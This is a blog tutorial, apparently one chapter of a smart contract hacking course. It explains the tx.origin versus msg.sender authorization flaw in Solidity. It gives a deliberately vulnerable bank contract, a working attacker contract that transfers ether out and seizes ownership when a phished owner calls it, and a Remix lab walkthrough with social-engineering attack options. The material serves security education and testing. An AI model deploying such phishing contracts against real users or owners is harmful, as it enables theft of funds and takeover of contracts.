Arctic

Sunday, January 28, 2024

Smart Contract Hacking Chapter 6 - Phishing Users With Malicious DAPS Via TX.Origin


Authorization on a smart contract can sometimes be a tricky endeavor. There are many things that are easily coded incorrectly, for example public functions, unpublished functions, delegate calls and tx.origin validations. If any of these are implemented incorrectly, then contracts are often left vulnerable to both direct and indirect attacks.

In this case, we will be talking about tx.origin which is an indirect attack method an attacker can utilize to bypass authorization based on the nuance of what is actually checked vs what the developer may think is checked when implementing require statements with tx.origin for authorization.

There are two different ways to check the address of who is making a call to a contract.

ü  Msg.sender

ü  Tx.Origin

 

While both of these could produce the same output when directly calling a contract, they may differ when there is another contract in the middle of the transaction. For example, if you play an online game which calls another contract to handle a payout transaction. When using a check with msg.sender, the winning payout would go to the games address that called the payout contract.

If the same address was checked with tx.origin on the payout contract, it would go all the way back to the original users address that processed the payout transaction on the game rather than the game contract making the call.

 

Man In the Middle Via tx.origin

This type of check is often misused when checking validation for authorization on smart contracts. When a tx.Origin check is used instead of msg.sender, this can leave a contract open to a man-in-the-middle (MITM) attack vector. Let's take a look at a visual representation of an attack, which will help put this into perspective. Then we will look at some code that implements this functionality.

 

In the below image we have:

ü  A user on the left

ü  An attacker's contract in the middle

ü  A target contract on the right

 


 

  

If the attacker were to call the target contract directly his authorization would be checked based on his personal address value regardless if the check is being performed via msg.sender or tx.orgin.  However, if the attacker created his own contract that called the target contract, the attacker could run a phishing campaign and social engineer the user into running functionality on the attacker's contract.

For example, sending a user to a game or accepting a payment for services and proxying the request to the target contract. If the user is social engineered into using the attackers contract, the attackers contract would make a transaction call to the target contract with which originates from the user's address via tx.origin. 

This is the exact point where things can go sideways.  If the target contract processes the transaction via msg.sender then the attackers contract would authorized as the attackers contract address. However, if the contract checks authorization via tx.origin than the attacker is accessing the target as the victims address and can bypass any authorization checks and simply process functionality as the victim user, to the attackers benefit.

This attack could be used to liquidate a user's account with a transfer function from the authorized user to the attacker's account. Or accessing forbidden functionality such as a Self-Destruct function linked to administrator only validation, or perhaps updating admin functionality to provide the attacker with full access to the contract. Much like social engineering in a standard network penetration test, this could be a wide scale phishing campaign to effect all standard users, or a spear phishing attack targeting an administrative user.

Regardless of the motivations of the attacker, there are many bad things that can happen. So let's take a look at a very simple example of tx.origin just so you see the difference between msg.sender and tx.origin.  We want to make sure you fully understand how this functionality is actually working so you can spot it during your testing before we exploit it.

 

Simple tx.origin Example Walkthrough:

Action Steps:

ü  Type out the following 2 contracts into Remix

ü  Deploy the HelloWorldTXOrigin contract first and copy its address value

ü  Place the address value in the proper location within CallHello contract and deploy it

ü  Review the code within CallHello and its usage of address validation

ü  Review the calls into the contract from HelloWorldTXOrigin that are effected by the address validation

ü  Try to reason based on what you learned above how this works and where and what the issues could be

 

 

1.    pragma solidity ^0.6.6;
2.   
3.    contract HelloWorldTXOrigin {
4.       
5.      function return_TX_Address() public returns(address){
6.           address myaddress = tx.origin;
7.           return myaddress; 
8.      }
9.      
10.   function return_MSG_Address() public returns(address){
11.       address myaddress = msg.sender;
12.         return myaddress; 
13.   }
14. }    

 

The code above for HelloWorldTXOrigin is extremely simple. All the code does is set a variable on lines 6 and 11 to the address calling the function and returns the value.  On line 6 it uses the tx.origin value and on line 11 it uses the msg.sender.

Now take a look at the following contract which calls the above contract to illustrate the difference between msg.sender and tx.origin values.  

 

1.    pragma solidity ^0.6.6;
2.   
3.    interface targetInterface {
4.      function return_TX_Address() external returns(address); 
5.      function return_MSG_Address() external returns(address);
6.    }
7.   
8.    contract Call_Hello {
9.      targetInterface helloInterface = targetInterface(ADD_Address_Here);
10. 
11.   function myTX ()  public returns (address){
12.        return helloInterface.return_TX_Address();
13.   }
14.    
15.   function myMSG ()  public returns (address){
16.        return helloInterface.return_MSG_Address();
17.   }
18.}

 

The Call_Hello contract above calls the HelloWorld contract via an interface defined on line 3 and initialized to a variable named helloInterface on line 9.

All this contract does is call functions from HelloWorld on lines 12 and 16 and returns the address values of tx.sender or msg.sender. Presumably this would be a random user that you social engineered into using this contract.

Action Steps:

ü  Select the first account in the dropdown list

ü  Compile and deploy HelloWorldTXOrigin.sol contract via Remix:

ü  Copy the address of the HelloWorldTXOrigin.sol contract

ü  Paste that address value into the target interface address placeholder

ü  Select the second account in the dropdown list

ü  Compile and deploy Call_Hello.sol

ü  Select any other account to simulate the victim account calling the attackers Call_Hello contract

ü  After each is pressed review the transaction output address and walk through in your head what you are reviewing before moving on.

 

If you performed the above action steps you would notice something similar to the following. First, I deploy my target contract with account one, which got deployed to the address:

 

ü  0xdCDB4db4a54F689ECC486d8BAcC08Cde4AC7FcA8

 



Next, I replace the address in the following line of the attackers phishing contract Call_Hello with the address from above, using the copy button to the right of the address in the above screenshot:

 

targetInterface helloInterface = targetInterface(0xdCDB4db4a54F689ECC486d8BAcC08Cde4AC7FcA8);

 

I then switch to Account two, and deploy the attackers phishing contract. This gives us the attackers contract address:  

 

ü  0x4e1426490dBfBa9110064fb912fe7221074cC0c9

 



 

Finally, I switch to the third account, ( my social engineered victim account) with the address:

 

ü  0x00bff3B21f6924D6e639Ce60e4Dac62Ec2c21269

 

 


 

If I then click the myMSG button on the attackers contract I should get the attackers address as the msg.sender resolves the address calling the contract. In this case I call the attackers contract but the attacker's contract is actually making the call to the target contract, so the msg.sender is the attackers contract even though or victim is the one clicking the button.  Indeed, this is true, shown below, the attackers contract address is returned when validated with msg.sender.

___________________________________________________________________________________

 

decoded output     {

 "0": "address: 0x4e1426490dBfBa9110064fb912fe7221074cC0c9"

}

___________________________________________________________________________________

 

Next I click the myTX button which should return the victims address from the 3rd account as the tx.origin check returns the original calling account of the user, not the attackers contract making the call. Indeed, this is true, shown below, the victims contract address is returned when validated with tx.origin.

___________________________________________________________________________________

 

decoded output     {

"0": "address: 0x00bff3B21f6924D6e639Ce60e4Dac62Ec2c21269"

}

___________________________________________________________________________________

  

I hope that clears up any confusion as to the difference between both msg.sender and tx.origin.  We will now take a look at a more comprehensive example with a bit of vulnerable code to put this into context and show how to bypass some controls using this attack method.

Action Steps:

ü  Review this code prior to reading the explanation.

ü  What is wrong with the logic in this contract?

ü  What would your path of exploitation be?

ü  What would the impact of this attack be?

ü  Type this code into remix and follow along with the walk through


Simple Example Video Walk Through: 


 

Vulnerable TX.Origin Example Walkthrough:

1.    pragma solidity ^0.6.6;
2.   
3.    contract BankOfEther {
4.      address owner;
5.      mapping (address =>uint) balances;
6.       
7.      constructor() public {
8.        owner = msg.sender;
9.      }
10.    
11.  function deposit() public payable{
12.    balances[msg.sender] = balances[msg.sender]+msg.value;     
13.   }
14.    
15.  function transferTo(address payable to, uint amount) public payable{
16.      require(tx.origin == owner);
17.      to.transfer(amount);
18.  }
19.    
20.  function changeOwner(address newOwner) public{
21.      require(tx.origin == owner);
22.      owner = newOwner;
23.                 }
24.    
25.  function kill() public {
26.      require(msg.sender == owner);
27.      selfdestruct(msg.sender);
28.  }
29.}

 

Above is an example of a contract which uses tx.origin to check for user authorization. On lines 16 and 21 you will see that in order to transfer contract funds or change the owner of the contract, you need to be the owner of the contract. This check uses the tx.origin value. The owner which is checked is set in the constructor on line 8 when the contract is deployed.

Also note that there is a kill function at line 25 using Solidity's built-in self-destruct function. This function will destroy the contract making it unusable and send any remaining contract ether to the address specified. This function is using authorization checks against the owner via the msg.sender rather than the tx.origin.

 

Action steps to familiarize yourself with the contract:

ü  Type the code above into Remix and deploy it

ü  Change the value field to 10 and the denomination to ether

ü  Deposit the 10 ether with the deposit function.

ü  Switch accounts and try to run changeOwner, Kill and transferTo functionality

ü  Try the same thing with the original account

ü  Try to deposit funds again

 

In your action steps and exploration of the contract you will notice that these functions do not run properly with the second account as you are not the owner of the contract when using the second account. You will also notice that these did run properly when used with the first account that deployed the contract as this user was set to the owner when deployed. You will also notice that when you ran the kill function it rendered the contract unusable and your funds were returned to your account from the initial deposit.

Now that we are familiar with the contracts functionality and we know that it is dangerously checking authorization using tx.origin  on both the transferTo and changeOwner functions. What would we do to attack this?

In order to formulate an attack, we will use a standard phishing style attack via social engineering. Exactly the same as if we were contracted to perform social engineering on a penetration test, however the malicious site that we send our victim communicates with our malicious smart contract on the backend as a proxy into the vulnerable contract for example using a decentralized web application (DAP) that makes web3.js calls. We used web3.js calls in an earlier chapter when directly making calls to a contract.

How we attack this would depend on our motivations as an attacker. We could simply trick the contract owner into running functionality on our malicious contract which then transfers all of the funds out of the contract to the attacker's wallet. The owner may not even notice this attack took place until he had issues with account balances. He may not even realize when and how it happened depending on how you orchestrate your attack. We could also take control of the whole contract and become the owner of the contract which would provide us with unfettered access to sensitive functionality at any time.

Let's take a look at a malicious smart contract that could transfer out all of the funds and additionally give use full administrative control of the contract. Generally, in a live attack scenario we would code a pretty looking DAP page around this attacker's contract with Web3.js much like in a phishing engagement.

1.  pragma solidity ^0.6.6;
2.   
3.  interface targetInterface {
4.  function transferTo(address payable to, uint amount)  payable external;
5.  function changeOwner(address newOwner) external;
6.  function kill() external;
7.  }
8.   
9.  contract PhishingBankOfEther {
10.  address payable attackerAddress;
11.    
12.  constructor() public {
13.     attackerAddress = msg.sender;
14.  }
15.    
16.  targetInterface bankInterface = targetInterface(ADDRESS);
17. 
18.  function test () payable public {
19.     bankInterface.transferTo(attackerAddress, 1 ether);
20.     bankInterface.changeOwner(attackerAddress);
21.  }
22.}

 

Most of this contract above is setting up the target interface, so this should be pretty easy to follow if you read through the section on Reentrancy where we setup an interface in our attacking contract.  But just to review an interface is a way that we can call functions from another contract via its address and function names. For example, on lines 3-6 we create an interface and simply copy paste the function definitions from our target contract into our interface definition. That's it.  And then we take that target interface we created and point it at the address of the target contract on line 16 with the name bankInterface. That is really the only thing we are doing for 75% of this contract. Nothing new or scary.

At this point we can use the bankInterface variable to access functionality within the target contract from our attacking contract.  Pretty simple right?  

Now the actual meat of this attacking contract is within lines 18-20 where we have a test function which calls the transferTo and changeOwner functions we do not have access to as a non-owner.

 

Action Steps:

ü  Re-deploy the target contract with your first account on remix

ü  Deposit 10 ether into the target contract

ü  Copy the address of the target contract via the copy button on the right side of the deployed contract

ü  Within the attacking contract replace the ADDRESS with the copied address from the target

ü  Switch to the second account in your list of accounts

ü  Deploy this contract and you will see a single function named test

 

Now as before with your attacker's account you cannot run functionality which performs authorization checks because the attackers address is not the owner, so running this test function which changes the owner and sends 1 ether will not work from the second account.  However, instead of our attacker running this functionality directly, the attacker would phish the Owner located on account one. The phish would use the attacker's contract which would perform the actions as the owner due to the incorrect check using tx.origin.

 

Action steps:

ü  Switch to the first account

ü  Try using the transfer function to verify that its working and that you're the owner

ü  Run the test function from the attacker's contract with account 1.

ü  Now try to use that send function again. Did it work?

ü  Try to use the kill function. Did that work?

ü  Now switch to the attackers account and use the send function. Did that work this time?

ü  Now kill the contract from the attackers account. What happened?

 

So, what happened when you used the test function from the attacker's contract?

The test function called the changeOwner and transferTo functions from the attacker's contract. But not as the attacker's address because authorization was checked via the Tx.origin which is the person calling the attacker's contract (account 1), not the attacker's contract address (account 2).

Even with the phishing contract if we were to call the kill function from the attacker's contract it would have failed because it uses the msg.sender. So, in order to execute kill, we had to use changeOwner and become the owner of the contract prior to calling the kill function.

As a result of phishing the owner into using the attacker's contract, the attacker is now the owner of this target contract. As such, the attacker actually can call the kill function directly without any issues and the original owner has been locked out of administrative functionality. 

Now in real life we, have a couple different options for attacking this user via a phishing attack over chat, email or even the phone.

Attack Options:

  1. Send a user a link to a website, perhaps a game they can play on Ethereum etc
  2. Sell the owner something and get the owner to send you any amount of Ether to your contract address. At this point you would have a fall back function which performs actions on the user's behalf simply by sending funds to our contracts account address and having the fallback function auto execute functionality with the owner's address.

 

I hope all of this makes sense. If you got stuck at any point during this walkthrough make sure to check out the video for a walkthrough of the lab and additional attack options.  

 

Phishing MITM Attack Walk Through: 





Smart Contract Hacking - 0x10 - Man In The Middle(MITM) Phishing Attacks Via TX.Origin Authorization.mp4 from Console Cowboys on Vimeo.


References

Github code for this chapter:  https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/Tx.Origin

Related posts


0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]



<< Home